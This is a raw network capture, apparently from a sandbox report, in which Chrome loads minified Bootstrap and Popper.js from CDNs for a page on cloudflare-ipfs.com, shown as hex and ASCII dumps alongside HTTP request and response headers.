2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 63 6c 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: guments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;return t.close=function(t
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 2c 41 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 62 75 Data Ascii: _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]',A='[data-toggle="bu
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 6d 2e 66 6e 5b 70 5d 2e 43 6f 6e Data Ascii: );var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryInterface,m.fn[p].Con
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 26 26 74 68 69 73 2e 6e 65 78 74 28 29 7d 2c 74 2e Data Ascii: lector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibility")&&this.next()},t.
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 Data Ascii: t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER,function(t){return
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c 73 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 Data Ascii: (this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,s=this._element.quer
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 28 6e 26 26 50 28 6e 29 2e 68 61 73 43 6c 61 73 73 28 42 29 Data Ascii: ing"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if(n&&P(n).hasClass(B)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49709	104.17.24.14	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:14:51 UTC	689	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://cloudflare-ipfs.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 13:14:51 UTC	954	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 13:14:51 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 453807 Expires: Tue, 18 Mar 2025 13:14:51 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FOa2keXp7mciCwURf9WAgtjGpreE5dwoDiumyTsoWH8OuRfdAw7ma%2BCND2iAlMxuM9Wjz2Pt5HbetrGAxjiCnHcnv8HUyDAph8p0H1FztIN2WBvjFwlO4ZO0FjzL2IWDWlmpsC9v"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 86b7e2b6de9005ca-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 13:14:51 UTC	415	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 74 75 Data Ascii: eType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':retu
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b 6f 2b Data Ascii: =2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f 6f 2e Data Ascii: p-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o.
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c 69 3d Data Ascii: height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i=
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a 74 68 Data Ascii: ('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:th
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a 21 30 Data Ascii: ions.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 27 65 6e Data Ascii: ==t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'en
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 Data Ascii: ==e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,t
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 4f 62 Data Ascii: &e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)Ob

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49712	151.101.129.229	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:14:51 UTC	653	OUT	GET /npm/jquery.session@1.0.0/jquery.session.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
